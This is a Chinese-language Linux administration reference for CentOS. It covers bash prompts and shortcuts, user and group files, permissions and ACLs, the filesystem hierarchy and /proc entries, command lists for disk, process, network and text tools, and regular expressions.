LinuxBase
- bash shell
- 用户与权限
- 文件系统与目录结构
- command
- tr
- which
- whereis
- type
- hash
- alias
- ln
- file
- getent
- awk
- gawk
- sed
- nano
- vi
- vim
- mkdir
- tree
- touch
- cp
- mv
- rm
- rmdir
- pwd
- cd
- ls
- stat
- history
- man
- info
- date
- clock
- hwclock
- timedatectl
- cal
- ntpdate
- getfacl
- setfacl
- tune2fs
- mount
- umount
- locate
- find
- echo
- exec
- umask
- lsattr
- chattr
- chmod
- vipw
- vigr
- pwck
- grpck
- authconfig
- whoami
- who
- w
- useradd
- newusers
- chpasswd
- usermod
- userdel
- passwd
- chage
- chfn
- chsh
- groupadd
- groupmod
- groupdel
- gpasswd
- newgrp
- groupmems
- groups
- id
- last
- lastlog
- cat
- tac
- rev
- nl
- cut
- crontab
- su
- visudo
- sudo
- chown
- chgrp
- more
- less
- head
- tail
- tailf
- cut
- paste
- wc
- sort
- uniq
- diff
- patch
- grep
- egrep
- fgrep
- xargs
- compress
- gzip
- bzip2
- xz
- zip
- cpio
- tar
- yum
- rpm
- rpm2cpio
- openssl
- md5sum
- hostname
- hostnamectl
- uname
- fsck
- blkid
- lsblk
- fdisk
- parted
- partprobe
- mkfs
- mkswap
- swapon
- swapoff
- ulimit
- runlevel
- init
- systemctl
- source
- split
- csplit
- ps
- pstree
- top
- htop
- lsof
- iotop
- iftop
- nethogs
- dumpe2fs
- resize2fs
- sync
- od
- sysctl
- dmesg
- lscpu
- free
- uptime
- w
- kill
- pkill
- killall
- fuser
- dd
- df
- du
- mtr
- ping
- nohup
- jobs
- bg
- fg
- nice
- renice
- chrt
- sleep
- vtysh
- route
- netstat
- ifconfig
- ip
- arp
- tcpdump
- ss
- nc
- nmap
- glances
- telnet
- traceroute
- tracepath
- nslookup
- dig
- curl
- scp
- rsync
- ethtool
- lsmod
- modinfo
- depmod
- modprobe
- insmod
- rmmod
- strace
- watch
- bc
- expr
- seq
- tee
- column
- screen
bash shell
echo ${SHELL} # 显示当前使用的shell
cat /etc/shells # 显示当前系统使用的所有shell
命令提示符
echo $PS1 # 显示当前命令提示符格式
[\u@\h \W]\$
PS1="\[\e[1;5;41;33m\][\u@\h \W]\\$ \[\e[0m\]" # 修改命令提示符
PS1='\[\e[1;36m\][\u@\h \W]\$ \[\e[0m\]'
PS1="\[\e[1;31m\][\[\e[0m\]\t \[\e[1;36m\]\u\[\e[0m\]@\[\e[34m\]\h\[\e[1;33m\] \W\[\e[1;31m\]]\[\e[0m\]\\$ "
\e[31;1m 字符串 \e[0m
[\e[31;1m 字符串 \e[0m ]
[\e[31;1m ]字符串 [\e[0m ]
\[\e[31;1m\]字符串\[\e[0m\]
\e 控制符 \033 \u 当前用户
\h 主机名简称 \H 主机名
\w 当前工作目录 \W 当前工作目录基名
\t 24小时时间格式 \T 12小时时间格式
\! 命令历史数 \# 开机后命令历史数
\$ 用户提示符
让终端字体带颜色:
echo -e "\033[背景颜色;文字颜色;4;5m字符串\033[0m"
echo -e '\033[40;32;5m字符串\e[0m'
终端控制选项说明 :
\033[0m 关闭所有属性
\033[1m 设置高亮度
\033[4m 下划线
\033[5m 闪烁
\033[7m 反显 (当鼠标把此处选中时才会显示)
\033[8m 消隐
\033[30m -- \033[37m 设置前景色
\033[40m -- \033[47m 设置背景色
\033[nA 光标上移n行
\033[nB 光标下移n行
\033[nC 光标右移n行
\033[nD 光标左移n行
\033[y;xH 设置光标位置
\033[2J 清屏
\033[K 清除从光标到行尾的内容
\033[s 保存光标位置
\033[u 恢复光标位置
\033[?25l 隐藏光标
\033[?25h 显示光标
编码转换网站:
https://tool.oschina.net/encode
https://javawind.net/tools/native2ascii.jsp?action=transform
命令类型
- 内部命令
shell自带的二进制可执行文件
help 内部命令列表
enable cmd 启用内部命令
enable –n cmd 禁用内部命令
enable –n 查看所有禁用的内部命令
- 外部命令
在文件系统路径下有对应的可执行程序文件
which -a COMMAND --skip-alias ; whereis COMMAND # 查看COMMAND路径
命令格式
COMMAND [OPTIONS...] [ARGUMENTS...]
选项:用于启用或关闭命令的某个或某些功能
短选项:-c 例如:-l, -h
长选项:--word 例如:--all, --human-readable
参数:命令的作用对象,比如文件名,用户名等
注意:
多个选项或多参数和命令之间使用空白字符分隔
取消和结束命令执行:Ctrl+c,Ctrl+d
多个命令可以用;符号分开
一个命令可以用\分成多行
查看命令历史列表:history
关机和重启
poweroff 关机
halt 关机
-p 关闭电源
-d 不留下记录
-f 强制,不调用shutdown
reboot 重启
init 0 关机
init 6 重启
shutdown [OPTION] [TIME] [MESSAGE] 关机
-h TIME 指定关机时间
-r TIME 指定重启主机时间
-c 取消关机或重启计划
-h now/0 立刻关机
-r now/0 立刻重启
-t <seconds> 发送警告信号后延时(sec)秒数后,再发送关闭信号
-k now 发送警告信号给所有用户,不关机
logout 登录shell
login ; exit 注销
- TIME:无指定,默认相当于+1(CentOS7)
- now:立刻,相当于+0
- +m:相对时间表示法,几分钟之后
- hh:mm:绝对时间表示,指明具体时间
时间
系统时间:date
ntp服务器时间同步:ntpdate
日历:cal
Cent OS 7.x 查询和更改系统时钟和设置:timedatectl
shell脚本
bash的快捷键
Ctrl+a ; Home 将光标移动到行首
Ctrl+b ; 左方向键 光标向左移动一个字符
Ctrl+c 终止命令
Ctrl+d 删除光标右(处)的一个字符
Ctrl+e ; End 将光标移动到行尾
Ctrl+f ; 右方向键 光标向右移动一个字符
Ctrl+g 退出历史搜索模式
Ctrl+h 删除光标左的一个字符
Ctrl+j 执行当前命令
Ctrl+k 将光标所在位置到行尾内容进行删除(剪切)
Ctrl+l ; clear 清屏
Ctrl+o 执行当前命令,并重新显示本命令
Ctrl+q 允许标准输出,显示被阻止的所有标准输出
Ctrl+r 进入历史搜索模式(reverse-i-search)`’:
Ctrl+s 阻止标准输出,锁定
Ctrl+t 交换光标左右(处)的字符位置
Ctrl+u 将光标所在位置到行首内容进行删除(剪切)
Ctrl+w 从光标处向左删除至单词首(剪切)
Ctrl+xx 光标在行首和原位置之间移动
Ctrl+y 粘贴剪切的内容
Ctrl+z 挂起命令
Ctrl+左右方向键 按照一个单词进行移动光标
TAB 补全目录路径/文件名称信息/命令
Alt键在Windows软件中会有快捷键冲突,默认为选择菜单
Alt+b 光标向左移动一个单词首
Alt+c 从光标处开始向右更改为首字母大写的单词
Alt+d 从光标处向右删除至单词尾(剪切)
Alt+f 光标向右移动一个单词尾
Alt+l 从光标处开始,将右边一个单词更改为小写
Alt+r 删除当前行
Alt+t 交换光标左右(处)的单词位置
Alt+u 从光标处开始,将右边一个单词更改为大写
Alt+N 提示(arg:N) 输入字符,重复显示该字符N次(N表示具体的数字)
获取帮助
获取内部命令的帮助:
- help COMMAND 或 man bash
获取外部命令的帮助:
- 使用man和info
- 直接查看本地说明文档: /usr/share/doc/
多数安装了的软件包的子目录,包括了这些软件的相关原理说明
常见文档:README INSTALL CHANGES
配置文件范例
HTML/PDF/PS 格式的文档
授权书详情 - 官方文档: Red Hat documentation
第三方应用官方文档
http://httpd.apache.org
http://www.nginx.org
https://mariadb.com/kb/en
https://dev.mysql.com/doc/
http://tomcat.apache.org
http://www.python.org
通过发行版官方的文档光盘或网站可以获得安装指南、部署指南、虚拟化指南等
红帽知识库和官方在线文档
http://kbase.redhat.com
http://www.redhat.com/docs
http://access.redhat.com
https://help.ubuntu.com/lts/serverguide/index.html - 网站和搜索
http://tldp.org
http://www.slideshare.net
http://www.google.com
Openstack filetype:pdf
rhca site:redhat.com/docs
用户与权限
用户管理
查看当前登录会话、用户和终端:w、whoami、who,或者使用cut查看配置文件
创建用户:useradd
修改用户:usermod
删除用户:userdel
批量创建用户:newusers
批量修改用户密码:chpasswd
修改当前用户密码:passwd
设置用户策略:chage
交互式指定个人信息:chfn
交互式指定用户登陆shell :chsh
创建用户组:groupadd
更改群组GID或名称:groupmod
删除用户组:groupdel
更改组密码:gpasswd
临时切换主组:newgrp
管理用户主要组群的成员:groupmems
查看用户所属组列表:groups
显示用户ID和组ID:id
查看用户登录日志:last
显示所有用户最后一次登录的时间:lastlog
切换用户:su
以系统管理者的身份执行指令:sudo
设置用户对命令的执行权限(sudo授权):visudo
用户/组配置文件
/etc/passwd 用户及其属性信息(名称、UID、主组ID等)
/etc/group 组及其属性信息
/etc/shadow 用户密码及其相关属性
/etc/gshadow 组密码及其相关属性
/etc/skel/ 创建用户家目录的模板,误删家目录可以从这复制恢复
/etc/sudoers sudo权限配置文件,建议使用visudo
passwd文件格式->root:x:0:0:root:/root:/bin/bash
login name:登录用名(wang)
passwd:密码 (x)
UID:用户身份编号 (1000)
GID:登录默认所在组编号 (1000)
GECOS:用户全名或注释
home directory:用户主目录 (/home/wang)
shell:用户默认使用shell (/bin/bash)
shadow文件格式->root:sha512加密::0:99999:7:::
登录用名
用户密码:一般用sha512加密
从1970年1月1日起到密码最近一次被更改的时间
密码再过几天可以被变更(0表示随时可被变更)
密码再过几天必须被变更(99999表示永不过期)
密码过期前几天系统提醒用户(默认为一周)
密码过期几天后帐号会被锁定
从1970年1月1日算起,多少天后帐号失效
group文件格式->root:x:0:
群组名称:就是群组名称
群组密码:通常不需要设定,密码是被记录在 /etc/gshadow
GID:就是群组的 ID
以当前组为附加组的用户列表(分隔符为逗号)
gshdow文件格式->root:::
群组名称:就是群的名称
群组密码:
组管理员列表:组管理员的列表,更改组密码和成员
以当前组为附加组的用户列表:多个用户间用逗号分隔
更改加密算法:authconfig
使用密码库: openssl、加密算法:md5sum校验文件
密码的复杂性策略:
-
足够长
-
使用数字、大写字母、小写字母及特殊字符中至少3种
-
使用随机密码
-
定期更换,不要使用最近曾经使用过的密码
系统默认用户的分类:
- 管理员用户: (root,UID=0) 最高管理者 拥有最高的权限
- 虚拟用户: (UID=1~999)系统中每一个服务启动,都必须使用一个用户,不能登陆操作系统,没有家目录
- 普通用户: (UID=1000~65534)登陆系统,维护系统,常用的系统用户.为了系统安全创建使用
操作用户配置文件
推荐使用vipw、vigr配置,使用pwck、grpck检查
文件权限
- 文件权限的主要对象:
- owner 属主, u
- group 属组, g
- other 其他, o
- 文件权限的主要类型:
- r Readable
- w Writable
- x eXcutable
-
权限说明:
文件 目录 r 可使用文件查看类工具获取其内容 可以使用ls查看此目录中文件列表 w 可修改其内容 可在此目录中创建文件,也可删除此目录中的文件 x 可以把此文件提请内核启动为一个进程 可以使用ls -l查看此目录中文件元数据(须配合r),可以cd进入此目录 X 只给目录x权限,不给文件x权限
文件的默认权限:644
目录的默认权限:755
设置文件权限:chmod
特殊文件权限
SUID, SGID, Sticky
为了使没有权限的普通用户也能执行命令(二进制可执行文件)
前提:进程有属主和属组;文件有属主和属组
(1) 任何一个可执行程序文件能不能启动为进程,取决发起者对程序文件是否拥有执行权限
(2) 启动为进程之后,其进程的属主为发起者,进程的属组为发起者所属的组
(3) 进程访问文件时的权限,取决于进程的发起者
(a) 进程的发起者,同文件的属主:则应用文件属主权限
(b) 进程的发起者,属于文件属组;则应用文件属组权限
(c) 应用文件“其它”权限
二进制可执行文件上的 SUID 权限 u+/-s
只有二进制可执行文件才能设定 SUID 权限,对目录设定 SUID 是无效的。
用户要对该文件拥有x(执行)权限。
用户在执行该文件时,会以文件所有者的身份执行。
SetUID 权限只在文件执行过程中有效,一旦执行完毕,身份的切换也随之消失。
SGID 权限 g+/-s
类似 SUID,但有不同点:
启动为进程之后,其进程的属组为原程序文件的属组
既可以对文件进行配置,也可以对目录配置:
默认用户创建文件时,其属组为此用户所属的主组
对目录设定 SGID,则对此目录有写权限的用户在此目录中创建的文件所属的组为此目录的属组
通常用于创建一个协作目录
Sticky BIT o+/-t
默认普通用户对目录有写权限时,可以删除该目录中的任何文件,忽视该文件的权限或拥有权
对目录设置Sticky 位后,只有文件的所有者或root可以删除该文件
sticky 设置在文件上无意义
SUID SGID STICKY
000 0
001 1
010 2
011 3
100 4
101 5
110 6
111 7
chmod 7777 FILE
权限位映射
SUID: user,占据属主的执行权限位
s:属主拥有x权限
S:属主没有x权限
SGID: group,占据属组的执行权限位
s:group拥有x权限
S:group没有x权限
Sticky: other,占据other的执行权限位
t:other拥有x权限
T:other没有x权限
设置新建文件和目录的默认权限:umask
文件特有属性显示:lsattr
文件特有属性修改:chattr
访问控制列表
ACL:Access Control List
指文件的所有者、所属组、其他人的读/写/执行之外的特殊的权限,可以更精确的控制权限的分配
ACL生效顺序:所有者,自定义用户,自定义组,其他人
CentOS7 默认创建的xfs和ext4文件系统具有ACL功能
CentOS7 之前版本,默认手工创建的ext4文件系统无ACL功能,需手动增加
tune2fs -o acl /dev/sdb1
mount -o acl /dev/sdb1 /mnt/test
设置ACL:
setfacl -m u:wang:rwx file|directory
setfacl -m g:salesgroup:rw file|directory
setfacl -m d:u:wang:rx directory
setfacl -Rm g:sales:rwX directory
setfacl -M file.acl file|directory
setfacl -x u:wang file|directory
setfacl -X file.acl directory
setfacl -b file|directory
getfacl file1 | setfacl --set-file=- file2 # 复制file1的acl权限给file2
- default 权限
只针对于目录,对目录本身和目录中已经存在的文件无效,只是决定目录中新建文件初始权限
ACL设置目录x权限,目录内文件不继承x权限
setfacl -m d:u:root:rwx /tmp # 对/tmp 设置default权限,目录中新建文件对root用户有rwx权限
- mask 权限
指用户或群组能拥有的最大 ACL 权限,用户或组的设置必须存在于 mask 权限设定范围内才会生效
mask 与用户的权限进行逻辑与运算后,才是最终有效的ACL权限(Effective Permission) #effective:
- 备份和恢复:
cp -p和mv都支持ACL,但tar等常见的备份工具是不会保留目录和文件的ACL信息
备份ACL
getfacl -R /tmp/dir > acl.bak # 会移除绝对路径的根/
恢复ACL
setfacl -R --set-file=acl.bak /tmp/dir ; cd / && setfacl --restore acl.bak
文件系统与目录结构
文件系统
文件和目录被组织成一个单根倒置树结构
文件系统从/根目录下开始
根文件系统(rootfs):root filesystem
文件名称区分大小写
隐藏文件以.开头的文件
路径的分隔符:/
文件有两类数据:
- 元数据:metadata
- 数据:data
文件系统分层结构:
-
LSB: (Linux Standard Base)
-
FHS: (Filesystem Hierarchy Standard)http://www.pathname.com/fhs/
33596515 -rw-r--r-- 2 root root 149 Jul 15 11:03 test
inode:33596515
文件类型:- # 普通文件
文件权限:rw-r--r-- # 文件所归属的用户、用户组可读可写,其他用户可读
硬链接数:2
文件属主:root
文件属组:root
文件大小:149 bytes
文件修改时间: Jul 15 11:03
文件名规则
文件名最长255
个字节,包括路径在内最长4095
个字节。
- 蓝色-->目录
- 绿色-->可执行文件
- 红色-->压缩文件
- 浅蓝色-->链接文件
- 灰色-->其他文件
除/
和NUL
外所有字符都有效。
不推荐使用特殊字符的目录名和文件,因为那样需要使用引号来引用它们。
标准Linux文件系统(如ext4
),文件名大小写敏感
文件系统结构
/boot
:引导文件存放目录,内核文件(vmlinuz)、引导加载器(bootloader, grub)都存放于此目录
/bin
:所有用户使用的基本命令;不能关联至独立分区,OS启动即会用到的程序
/sbin
:管理类的基本命令;不能关联至独立分区,OS启动即会用到的程序
/lib
:启动时程序依赖的基本共享库文件以及内核模块文件(/lib/modules)
/lib64
:专用于x86_64系统上的辅助共享库文件存放位置
/etc
:配置文件目录
/etc/sysconfig/network-scripts/ifcfg-eth0:网卡配置文件
/etc/hostname:主机名,还可使用hostname、hostnamectl查看修改
/etc/fstab:开机自动挂载硬件
/etc/resolv.conf:DNS服务器配置文件
/etc/nsswitch.conf:name service switch configuration,实现名称解析服务
/etc/issue:开机欢迎语句
/etc/issue.net:telnet连接专用开机欢迎语句
/etc/motd:登陆系统后显示的内容,默认为空
/etc/hosts:域名和IP对应关系,相当于本地DNS服务器
/etc/host.conf:配置域名服务客户端的控制文件
/etc/networks:域名与网络地址的映射
/etc/protocols:主机使用的协议以及各个协议的协议号
/etc/services:主机的不同端口的网络服务
/etc/rc.local:开机自启动,首先要获取执行权限x
/etc/inittab:运行级别,可用使用runlevel查看,init临时修改,systemctl(Cent OS 7.x)永久修改
/etc/profile:环境变量,可用使用export、env、set、echo $
查看,source即时生效
/etc/redhat-release:系统版本信息,还可用使用hostnamectl、uname查看
/etc/selinux/config:SELinux配置文件
/etc/yum.repos.d/:yum源仓库配置文件
/etc/locale.conf:centos7.x字符集配置文件
/etc/sysconfig/i18n:centos6.x字符集配置文件
/etc/sudoers:= visudo ;sudoers列表,让普通账户能够执行sudo命令,甚至免密执行sudo命令
/etc/passwd:用户及其属性信息(名称、UID、主组ID等)
/etc/group:组及其属性信息
/etc/shadow:用户密码及其相关属性
/etc/gshadow:组密码及其相关属性
/etc/skel/:创建用户家目录的模板,误删家目录可以从这复制恢复
/etc/crontab:系统任务调度,定期执行程序,直接修改配置文件
/etc/cron.hourly/:系统定时任务每个小时运行这个目录里的内容
/etc/cron.daily/:系统定时任务每天运行这个目录里的内容
/etc/cron.weekly/:系统定时任务每周运行这个目录里的内容
/etc/cron.monthly/:系统定时任务每月运行这个目录里的内容
/etc/cron.deny:定时任务黑名单
/etc/yum.conf:为所有仓库提供公共配置
/etc/yum.repos.d/*.repo:为仓库的指向提供配置
/etc/security/limits.conf:资源控制配置文件,还可使用ulimit查看修改
/home/USERNAME
:普通用户家目录
/root
:管理员的家目录
/media
:便携式移动设备挂载点
/mnt
:临时文件系统挂载点
/dev
:设备文件及特殊文件存储位置
b: block device,随机访问
c: character device,线性访问
/dev/urandom:生成随机数,可用tr、head过滤
/dev/null:黑洞
/dev/zero:生成大文件
/opt
:第三方应用程序的安装位置
/srv
:系统上运行的服务用到的数据
/tmp
:临时文件存储位置
/usr
: universal shared, read-only data(universal shared 通用共享)
bin: 保证系统拥有完整功能而提供的应用程序
sbin:
lib:32位使用
lib64:只存在64位系统
include: C程序的头文件(header files)
share:结构化独立的数据,例如doc, man等
/usr/share/doc/:文件说明
/usr/share/doc/initscripts-9.49.30/sysconfig.txt:初始化脚本,系统配置文件说明
local:第三方应用程序的安装位置,编译安装的软件默认存放文件的位置
bin, sbin, lib, lib64, etc, share
/var
: variable data files 多变数据文件,可用tail、tailf等查看日志,split分割大日志
/var/cache: 应用程序缓存数据目录
/var/lib: 应用程序状态信息数据
/var/local:专用于为/usr/local下的应用程序存储可变数据
/var/lib/rpm:rpm数据库
/var/lock: 锁文件
/var/log: 日志目录及文件
/var/opt: 专用于为/opt下的应用程序存储可变数据
/var/run: 运行中的进程相关数据,通常用于存储进程pid文件
/var/run/utmp:系统运行级别记录
/var/spool: 应用程序数据池
/var/spool/cron/:用户任务调度,定期执行程序,可使用 crontab 命令设置
/var/spool/clientmqueue/:centos6存放待MTA发送邮件(比如cron发的邮件)
/var/spool/postfix/maildrop/:centos7存放待postfix发送邮件(比如cron发的邮件)
/var/tmp: 保存系统两次重启之间产生的临时数据
/var/log/dmesg:开机启动信息,缺少最后一次的信息,可用dmesg查看完整信息
/var/log/messages:系统默认的日志文件,保存了系统的运行状况,执行命令的信息
/var/log/secure:系统默认的日志文件,保存了安全方面的信息:登录、退出等操作
/var/log/服务名:服务的默认日志
/var/log/cron:定时任务的日志文件
/var/log/yum.log:yum日志
/proc
: 用于输出内核与进程信息相关的虚拟文件系统,可用sysctl修改内核的运行参数
/proc/cpuinfo:查看cpu信息,可用lscpu
/proce/meminfo:查看内存信息,可用free
/proc/loadvag:系统的平均负载,可用uptime、w
/proc/mounts:挂载的文件系统的详细信息
/proc/buddyinfo:每个内存区中的每个order有多少块可用,和内存碎片问题有关
/proc/cmdline:启动时传递给kernel的参数信息
/proc/crypto:内核使用的所有已安装的加密密码及细节
/proc/devices:已经加载的设备并分类
/proc/dma:已注册使用的ISA DMA频道列表
/proc/execdomains:Linux内核当前支持的execution domains
/proc/fb:帧缓冲设备列表,包括数量和控制它的驱动
/proc/filesystems:内核当前支持的文件系统类型
/proc/interrupts:x86架构中的每个IRQ中断数
/proc/iomem:每个物理设备当前在系统内存中的映射
/proc/interrupts:列出当前所有系统注册(还没卸载)的中断:中断号,中断发生次数,中断设备名称
/proc/ioports:一个设备的输入输出所使用的注册端口范围
/proc/kcore:代表系统的物理内存,存储为核心文件格式,里边显示的是字节数,等于RAM大小加上4kb
/proc/kmsg:记录内核生成的信息,可以通过/sbin/klogd或/bin/dmesg来处理
/proc/loadavg:根据过去一段时间内CPU和IO的状态得出的负载状态,与uptime命令有关
/proc/locks:内核锁住的文件列表
/proc/mdstat:多硬盘,RAID配置信息(md=multiple disks)
/proc/misc:其他的主要设备(设备号为10)上注册的驱动
/proc/modules:所有加载到内核的模块列表
/proc/mtrr:系统使用的Memory Type Range Registers (MTRRs)
/proc/partitions:分区中的块分配信息
/proc/pci:系统中的PCI设备列表
/proc/slabinfo:系统中所有活动的 slab 缓存信息
/proc/stat:所有的CPU活动信息
/proc/sysrq-trigger:远程root用户可以执行大多数的系统请求关键命令,像在本地终端执行
/proc/sys/kernel/sysrq:设置为0,sysrq-trigger文件不能写入
/proc/uptime:系统已经运行了多久
/proc/swaps:交换空间的使用情况
/proc/version:Linux内核版本和gcc版本
/proc/bus:系统总线(Bus)信息,例如pci/usb等
/proc/driver:驱动信息
/proc/fs:文件系统信息
/proc/ide:ide设备信息
/proc/irq:中断请求设备信息
/proc/net:网卡设备信息
/proc/scsi:scsi设备信息
/proc/tty:tty设备信息
/proc/net/dev:显示网络适配器及统计信息
/proc/vmstat:虚拟内存统计信息
/proc/vmcore:内核panic时的内存映像
/proc/diskstats:取得磁盘信息
/proc/schedstat:kernel调度器的统计信息
/proc/zoneinfo:显示内存空间的统计信息,对分析虚拟内存行为很有用
/proc/sys/fs/file-max:文件打开数
/proc/sys/fs/file-nr:整个系统目前使用的文件句柄数量
/proc/sys/net/ipv4/ip_forward:IP转发
/proc/sys/net/ipv4/ip_local_port_range:本地tcp/udp自动随机端口范围,使用sysctl修改
/proc/sys/net/ipv4/ip_local_reserved_ports:为已知第三方应用程序保留以逗号分隔的端口列表
/proc/sys/net/ipv4/tcp_fin_timeout:本地TCP等待2倍MSL(完成超时时间)
/proc/sys/net/ipv4/tcp_congestion_control:当前所使用的TCP拥塞控制算法
/proc/sys/kernel/hostname:主机名
/proc/N:pid为N的进程信息
/proc/N/cmdline:进程启动命令
/proc/N/cwd:链接到进程当前工作目录
/proc/N/environ:进程环境变量列表
/proc/N/exe:链接到进程的执行命令文件
/proc/N/fd:包含进程相关的所有的文件描述符
/proc/N/maps:与进程相关的内存映射信息
/proc/N/mem:指代进程持有的内存,不可读
/proc/N/root:链接到进程的根目录
/proc/N/stat:进程的状态
/proc/N/statm:进程使用的内存的状态
/proc/N/status:进程状态信息,比stat/statm更具可读性
/proc/self:链接到当前正在运行的进程
/sys
:用于输出当前系统上硬件设备相关信息虚拟文件系统
/selinux
: security enhanced Linux,selinux相关的安全策略等信息的存储位置
CentOS 7目录变化:
/bin
-> /usr/bin
/sbin
-> /usr/sbin
/lib
-> /usr/lib
/lib64
-> /usr/lib64
应用程序组成部分
- 二进制程序:/bin,/sbin,/usr/bin,/usr/sbin,/usr/local/bin,/usr/local/sbin
- 库文件:/lib,/lib64,/usr/lib,/usr/lib64,/usr/local/lib,/usr/local/lib64
- 配置文件:/etc,/etc/DIRECTORY,/usr/local/etc
- 帮助文件:/usr/share/man,/usr/share/doc,/usr/local/share/man,/usr/local/share/doc
文件类型
-
普通文件- 普通文本文件:使用echo、vim、vi、touch等创建的文件
- 二进制文件:系统中的命令
- 数据文件:压缩包、.rpm、.tar.gz、.zip
d
目录文件b
块设备c
字符设备l
符号链接文件p
管道文件:pipes
套接字文件:socket
磁盘管理
永久生效:加入配置文件/etc/fstab
- 显示可用块设备信息:blkid、lsblk
- 磁盘分区工具:fdisk(MBR)、parted(GPT)
- 重读分区表:partprobe
- 创建Linux文件系统:mkfs
- 交换分区:创建mkswap、激活swapon、关闭swapoff
- 文件系统:挂载mount、卸载umount
- 查看文件系统磁盘空间使用情况:df
- 显示文件和目录使用的磁盘空间:du
- 转换或复制文件:dd
- 查看磁盘IO:iotop
- 显示ext2/ext3文件系统信息:dumpe2fs
- 调整ext2/ext3/ext4文件系统大小:resize2fs
- 调整ext2/ext3/ext4文件系统参数:tune2fs
- 检查并修复Linux文件系统:fsck
- 刷新文件系统缓冲区:sync
- 查看二进制文件的内容:od
进程管理
- 实时进程查看器(动态):htop、top
- 查看当前进程(静态):ps、pstree
- 进程调用文件的相关信息:lsof
- 杀死进程:kill PID、killall |pkill 进程名
- 在后台运行进程:命令最后加 &
- 操作后台任务:显示jobs、切到后台bg、切到前台fg
- 注销后仍在后台运行进程:nohup
- 多重视窗管理器:screen
- 指定命令优先级:nice、chrt
- 修改进程优先级:renice
- 睡眠:sleep
网络管理
- 查看本机公网IP:curl ifconfig.me | cip.cc
- 修改本地tcp/udp自动随机端口范围:sysctl
- net-tools中的软件:route、netstat、ifconfig、arp
- iproute中的软件:ss、ip
- 抓包工具:tcpdump
- 网络诊断工具:mtr
- 检测网络的连通情况和分析网络速度:ping
- 路由跟踪:traceroute、tracepath
- 查询DNS解析:dig、nslookup
- 资源实时监控工具:glances
- 端口扫描工具:nmap、nc
- 查看网络流量:iftop、nethogs
- 远程登录工具:telnet
- 查询与设置网卡参数:ethtool
- 查看硬件设备信息:lspci、lsblk
- 显示已加载模块状态:lsmod、modinfo
- 内核模块智能加载工具:modprobe
- 装载或卸载内核模块:insmod、rmmod
- 远程拷贝文件:scp
- 远程数据同步工具:rsync
- 配置动态路由:vtysh
- NetworkManager命令行:nmcli
文件操作
增
删
改
- 全屏文本编辑器:vi、vim、nano
- 分割文件:split、csplit
- 打包(归档):tar、dd、cpio
- 压缩:gzip、zip、bzip2、xz、compress
- 从RPM包中提取cpio存档:rpm2cpio
查
- 查看当前绝对路径:pwd
- 显示目录树:tree
- 进入目录:cd
- 列出目录内容:ls
- 查看文件状态:stat
- 查看每个文件中选定的行:cut
- 检查文件的类型:file
- 文件查看:cat
- 文件反向查看:tac与cat相反
- 文件查看并添加行号:nl
- 分页查看文件内容:less,more
- 显示文本前行内容:head
- 显示文本后行内容:tail,tailf
- 查看系统数据库中的相关记录:getent
- 查找符合条件的文件:find、locate
将输入的字符串标准输出:echo
调用并执行指定的命令:exec
抽取文本操作
- 按列抽取文本内容:cut
- 合并文件:paste
- 文本数据统计:wc
- 文本排序:sort
- 转换和删除字符:tr
- 删除前后相接的重复的行:uniq
- 比较文件区别:diff
- 复制在其它文件中进行的改变:patch
- 文本过滤(模式:pattern)工具 grep, egrep, fgrep(不支持正则表达式搜索)
- 行文本编辑工具:sed:stream editor
- 文本报告生成器:awk
- 每一行字符的顺序颠倒查看:rev
- 将输入格式化为多个列:column
- 在管道符
|
不能使用时,可以使用xargs传参 - 生成序列:seq
- 读取标准输入,将其内容保存成文件,并输出到标准输出:tee
- 周期性执行命令:watch
- 算数运算:bc、expr
正则表达式
REGEXP: Regular Expressions,由一类特殊字符及文本字符所编写的模式,其中有些字符(元字符)不表示字符字面意义,而表示控制或通配的功能
支持:grep,sed,awk,vim,less,nginx,varnish等
分两类:
通常,你应该始终用单引号将正则表达式括起来,以避免shell解释和扩展元字符。
正则表达式引擎:
采用不同算法,检查处理正则表达式的软件模块
PCRE(Perl Compatible Regular Expressions)
元字符分类:
字符匹配、匹配次数、位置锚定、分组
基本正则表达式 BRE 元字符
- 字符匹配:
. 匹配任意单个字符
[] 匹配指定范围内的任意单个字符,示例:[wang] [0-9] [a-z] [a-zA-Z]
[^] 匹配指定范围外的任意单个字符
- 匹配次数:
用在要指定次数的字符后面,用于指定前面的字符要出现的次数
* 匹配前面的字符任意次,包括0次,贪婪模式:尽可能长的匹配
.* 任意长度的任意字符
\? 匹配其前面的字符0或1次
\+ 匹配其前面的字符至少1次
\{n\} 匹配前面的字符n次
\{m,n\} 匹配前面的字符至少m次,至多n次
\{,n\} 匹配前面的字符至多n次
\{n,\} 匹配前面的字符至少n次
- 位置锚定:
定位出现的位置
^ 行首锚定,用于模式的最左侧
$ 行尾锚定,用于模式的最右侧
^PATTERN$ 用于模式匹配整行
^$ 空行
^[[:space:]]*$ 空白行
\< 或 \b 词首锚定,用于单词模式的左侧
\> 或 \b 词尾锚定,用于单词模式的右侧
\<PATTERN\> 匹配整个单词
\w 某个单词
分组:\(\)
将一个或多个字符捆绑在一起,当作一个整体处理,如:\(root\)\+
分组括号中的模式匹配到的内容,会被正则表达式引擎记录于内部的变量中,
这些变量的命名方式为: \1, \2, \3, ...
示例:
\(string1\(string2\)\)
\1 :string1\(string2\) # 表示从左侧起第一个左括号以及与之匹配右括号之间的模式所匹配到的字符。
\2 :string2
后向引用:引用前面的分组括号中的模式所匹配字符,而非模式本身
或:\|
示例:a\|b a或b
C\|cat C或cat
\(C\|c\)at Cat或ca
扩展正则表达式 ERE 元字符
- 字符匹配:
. 任意单个字符
[] 指定范围的字符
[^] 不在指定范围的字符
-
次数匹配:
-
匹配前面字符任意次
? 0或1次
-
1次或多次
{m} 匹配m次
{m,n} 至少m,至多n次 -
-
位置锚定:
^ 行首
$ 行尾
<, \b 语首
>, \b 语尾
\w 单词
分组:()
后向引用:\1, \2, ...
或:
a|b a或b
C|cat C或cat
(C|c)at Cat或cat
特殊字符集
字符集需要用 [ ] 来包含住,否则不会生效
[:alnum:] 字母和数字
[:alpha:] 代表任何英文大小写字符,亦即 A-Z, a-z
[:lower:] 小写字母
[:upper:] 大写字母
[:blank:] 空白字符(空格和制表符)
[:space:] 水平和垂直的空白字符(比[:blank:]包含的范围广)
[:cntrl:] 不可打印的控制字符(退格、删除、警铃...)
[:digit:] 十进制数字
[:xdigit:] 十六进制数字
[:graph:] 可打印的非空白字符
[:print:] 可打印字符
[:punct:] 标点符号
文件通配符
shell 自带的文件通配符(globbing
)通常用于查找文件,而正则表达式通常用于查找文件内容
-
shell 通配符:
通配符使用时不能加
'' ""
,而find本身具备解析通配符的能力,需要加'' ""
防止shell解析通配符
* 匹配任意零个或多个字符
